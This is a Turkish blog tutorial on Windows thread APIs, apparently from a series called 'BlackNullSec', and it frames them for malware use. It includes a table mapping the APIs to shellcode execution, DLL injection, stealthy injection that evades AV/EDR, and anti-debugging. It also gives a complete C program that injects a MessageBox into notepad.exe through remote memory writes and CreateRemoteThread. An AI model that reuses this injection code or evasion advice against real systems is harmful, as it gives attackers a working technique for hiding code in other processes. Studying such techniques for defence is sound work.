BlackNullSec Path #6: Thread Apıler
🚀 Amaç:Windows’ta iş parçacığı (thread) oluşturma ve yönetme API’lerini içeriyor.
Shellcode çalıştırma, DLL yükleme veya bir fonksiyonu arka planda sessizce işletme gibi durumlarda kritik rol oynarlar.
CreateProcess=Notepad handle açOpenProcess=Pıd ile handle aç=VirtualAllocex=Notepad belleginde yer ayır(ör=100byte)WriteProcessMemory=Buraya "Shellcode veya string"ReadProcessMemory=aynı string geri okuVirtualProtectEx=o bellek alanı PAGE_READ_ONLY(NOT= EGER STRİNG İSE )NOT="Eger string degilde shellcode ise PAGE_EXECUTE_READWRITE yani=oku,yaz,çalıştır")
Senaryo
1.CreateThread
– Kendi Sürecinde Thread Oluşturma.
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
2.CreateRemoteThread Apı
– Başka Süreçte Thread Başlatma (Injection).
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Örnek:
HANDLE hRemoteThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)remoteShellcodeAddress,
NULL,
0,
NULL
);
3.RtlCreateUserThread Apı
– Stealth Thread Injection (NTAPI).
NTSTATUS RtlCreateUserThread(
HANDLE ProcessHandle,
PSECURITY_DESCRIPTOR SecurityDescriptor,
BOOLEAN CreateSuspended,
ULONG StackZeroBits,
PULONG StackReserve,
PULONG StackCommit,
PVOID StartAddress,
PVOID StartParameter,
PHANDLE ThreadHandle,
PCLIENT_ID ClientId
);
🔐 AV/EDR atlatmak için tercih edilir. NTAPI olduğundan daha gizlidir.
4.SuspendThread / ResumeThread Apı
– Thread’i Durdur / Başlat.
SuspendThread(hThread); // Thread'i askıya al
ResumeThread(hThread); // Devam ettir
📦 Thread'i çalıştırmadan önce suspend modda başlatıp belleğe shellcode yükleyip sonra ResumeThread() ile çalıştırabilirsin.
Malware'de Nasıl Kullanılır?
| Amaç | Kullanılacak API |
| -------------------- | ------------------------------------------------------------ |
| Shellcode çalıştırma | `CreateRemoteThread` |
| DLL Injection | `CreateRemoteThread` + `LoadLibraryA` |
| Stealth Injection | `RtlCreateUserThread` veya `QueueUserAPC` |
| Anti-debug | `SuspendThread` / `ResumeThread` kullanarak analiz engelleme |
CreaterRemoteThread ile MessageBox kutusu acma Notepad.exe içine enjecte etme.
#include#include int main() { // Mesaj kutusunda gösterilecek metin ve başlık const char* messageText = "Hello Mikail from remote Thread"; const char* messageCaption = "Injected!"; // Adım 1: Notepad.exe'yi başlat STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(si); if (!CreateProcessA( "C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, // GUI uygulamaları için 0 yeterli NULL, NULL, &si, &pi )) { printf("CreateProcess hatasi: %lu\n", GetLastError()); return 1; } printf("[+] Notepad baslatildi. PID=%lu, Handle=%p\n", pi.dwProcessId, pi.hProcess); // Yeni süreç başlayana kadar kısa bir bekleme eklemek iyi bir pratiktir. Sleep(1000); // Adım 2: Hedef process'te MessageBoxA'nın metni için bellek ayır // Metin için gereken boyut: metnin uzunluğu + null karakter ('\0') SIZE_T messageSize = strlen(messageText) + 1; LPVOID remoteMem = VirtualAllocEx( pi.hProcess, // Hedef process'in handle'ı NULL, // Adresi sistemin seçmesini iste messageSize, // Ayırılacak bellek boyutu MEM_COMMIT | MEM_RESERVE, // Belleği ayır ve rezerve et PAGE_READWRITE // Okuma/yazma izni ver ); if (!remoteMem) { printf("VirtualAllocEx hatasi: %lu\n", GetLastError()); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } printf("[+] Notepad'in hafizasinda %zu byte yer ayrildi. Adres: %p\n", messageSize, remoteMem); // Adım 3: Ayırdığımız belleğe mesaj metnini yaz if (!WriteProcessMemory( pi.hProcess, // Hedef process'in handle'ı remoteMem, // Yazılacak adres messageText, // Yazılacak veri (metin) messageSize, // Verinin boyutu NULL // Yazılan byte sayısını umursamıyoruz )) { printf("WriteProcessMemory hatasi: %lu\n", GetLastError()); VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE); // Hata olursa belleği serbest bırak CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } printf("[+] Mesaj metni hedef hafizaya yazildi.\n"); // Adım 4: Çalıştıracağımız fonksiyonun (MessageBoxA) adresini bul // MessageBoxA, user32.dll içinde bulunur. HMODULE hUser32 = GetModuleHandleA("user32.dll"); LPTHREAD_START_ROUTINE pMessageBoxA = (LPTHREAD_START_ROUTINE)GetProcAddress(hUser32, "MessageBoxA"); if (!pMessageBoxA) { printf("GetProcAddress hatasi: %lu\n", GetLastError()); VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } printf("[+] MessageBoxA fonksiyonunun adresi bulundu: %p\n", pMessageBoxA); // Adım 5: Notepad içinde yeni bir thread başlat ve MessageBoxA'yı çalıştır HANDLE hRemoteThread = CreateRemoteThread( pi.hProcess, // Hedef process NULL, // Varsayılan thread güvenlik ayarları 0, // Varsayılan yığın boyutu pMessageBoxA, // Çalıştırılacak fonksiyonun adresi remoteMem, // Fonksiyona gönderilecek parametre (mesaj metninin adresi) 0, // Thread hemen başlasın NULL // Thread ID'sini almıyoruz ); if (!hRemoteThread) { printf("CreateRemoteThread hatasi: %lu\n", GetLastError()); VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 1; } printf("[+] Remote thread baslatildi! Notepad'de mesaj kutusu gorunmeli.\n"); // Temizlik WaitForSingleObject(hRemoteThread, INFINITE); // Mesaj kutusu kapanana kadar bekle printf("[+] Remote thread bitti.\n"); // Ayrılan belleği geri ver VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE); // Handle'ları kapat CloseHandle(hRemoteThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); printf("[+] Temizlik yapildi. Program sonlaniyor.\n"); return 0; }
🌟 Sonraki Yazı: Pointer Temelleri
"Amaç:Bir pointer, bellekteki bir adresi tutan değişkendir. Yani başka bir değişkenin adresini saklar."
BlackNullSec
“Windows Belleğiyle Konuşan Kodlar”
“Windows Belleğiyle Konuşan Kodlar”
hacker